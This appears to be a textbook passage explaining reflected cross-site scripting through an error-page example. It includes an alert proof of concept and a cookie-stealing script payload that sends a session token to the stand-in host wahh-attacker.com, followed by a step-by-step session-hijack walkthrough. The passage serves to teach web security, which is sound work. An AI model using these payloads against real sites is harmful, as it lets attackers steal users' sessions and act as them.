Reflected XSS Vulnerabilities
A very common example of XSS occurs
when an application employs a dynamic page to display error messages
to users. Typically, the page takes a parameter containing the text
of the message, and simply renders this text back to the user within
its response. This type of mechanism is convenient for
developers, because it allows them to
invoke a customized error page from anywhere in the application,
without needing to hard-code individual messages within the error
page itself.
For example, consider the following
URL, which returns the error message shown in Figure A:
https://wahh-app.com/error.php?message=Sorry%2c+an+error+occurred
Figure A: A dynamically generated error
message
Looking at the HTML source for the
returned page, we can see that the application is simply copying the
value of the message parameter in the URL and inserting this into the
error page template at the appropriate place:
<p>Sorry, an error occurred.</p>
This behavior of taking user-supplied
input and inserting it into the HTML of the server’s response is
one of the signatures of XSS vulnerabilities, and if no filtering or
sanitization is being performed, then the application is certainly
vulnerable. Let’s see how.
The following URL has been crafted to
replace the error message with a piece of JavaScript that generates a
pop-up dialog:
https://wahh-app.com/error.php?message=<script>alert(‘xss’);</script>
Requesting this URL generates an HTML
page that contains the following in place of the original message:
<p><script>alert(‘xss’);</script></p>
And sure enough, when the page is
rendered within the user’s browser, the
pop-up message appears, as shown in
Figure B.
Figure B: A proof-of-concept XSS
exploit
Performing this simple test serves to
verify two important things. First, the contents of the message
parameter can be replaced with arbitrary data that gets returned to
the browser. Second, whatever processing the server-side application
is performing on this data (if any), it is not sufficient to prevent
us from supplying JavaScript code that is executed when the page is
displayed in the browser.
This type of simple XSS bug accounts
for approximately 75% of the XSS vulnerabilities that exist in
real-world web applications. It is often referred to as reflected XSS
because exploiting the vulnerability involves crafting a request
containing embedded JavaScript which is reflected back to any user
who makes the request. The attack payload is delivered and executed
via a single request and response. For this reason, it is also
sometimes referred to as first-order XSS.
Exploiting the Vulnerability
XSS vulnerabilities can be exploited in
many different ways to attack other users of an application. One of
the simplest attacks, and the one that is most commonly envisaged to
explain the potential significance of XSS flaws, results in the
attacker capturing the session token of an authenticated user.
Hijacking the user’s session gives the attacker access to all of
the data and functionality to which the user is authorized .
The steps involved in this attack are
illustrated in Figure C.
1. The user logs in to the application
as normal, and is issued with a cookie containing a session token:
Set-Cookie:
sessId=184a9138ed37374201a4c9672362f12459c2a652491a3
2. Through some means (described
later), the attacker feeds the following URL to the user:
https://wahhapp.com/error.php?message=<script>var+i=new+Image;
+i.src=”http://wahh-attacker.com/“%2bdocument.cookie;</script>
As in the previous example, which
generated a dialog message, this URL contains embedded JavaScript.
However, the attack payload in this case is more malicious.
3. The user requests from the
application the URL fed to them by the attacker.
4. The server responds to the user’s
request. As a result of the XSS vulnerability, the response contains
the JavaScript created by the attacker.
5. The attacker’s JavaScript is
received by the user’s browser, which executes it in the same way
it does any other code received from the application.
6. The malicious JavaScript created by
the attacker is:
var i=new Image;
i.src=”http://wahh-attacker.com/“+document.cookie;
This code causes the user’s browser
to make a request to wahh- attacker.com, which is a domain owned by
the attacker. The request contains the user’s current session token
for the application:
GET
/sessId=184a9138ed37374201a4c9672362f12459c2a652491a3 HTTP/1.1
Host: wahh-attacker.com
7. The attacker monitors requests to
wahh-attacker.com and receives the user’s request. He uses the
captured token to hijack the user’s session, gaining access to that
user’s personal information, and performing arbitrary actions “as”
the user.
There are two important reasons why the
attacker goes to the trouble
of exploiting the XSS vulnerability.
The first and most important reason is that
the attacker’s
objective is not simply to execute an arbitrary script but to capture
the session token of the user. Browsers do not let just any old
script access
a site’s cookies; otherwise, session hijacking would
be trivial. Rather, cookies
can be accessed only by the site that
issued them: they are submitted in HTTP
requests back to the issuing
site only, and they can be accessed via JavaScript
contained within
or loaded by a page returned by that site only.
The reason why the attack which
exploits the XSS vulnerability is successful
is that, as far as the
user’s browser is concerned, the attacker’s malicious
JavaScript
was sent to it by wahh-app.com. When the user requests the
attacker’s
URL, the browser makes a request to
https://wahh-app.com/error.php, and
the application returns a page
containing some JavaScript. As with any
JavaScript received from
wahh-app.com, the browser executes this script within
the security
context of the user’s relationship with wahh-app.com. This is the
reason why the attacker’s script, although it actually originates
elsewhere, is
able to gain access to the cookies
issued by wahh-app.com. This is also the reason why the vulnerability
itself has become known as cross-site scripting.
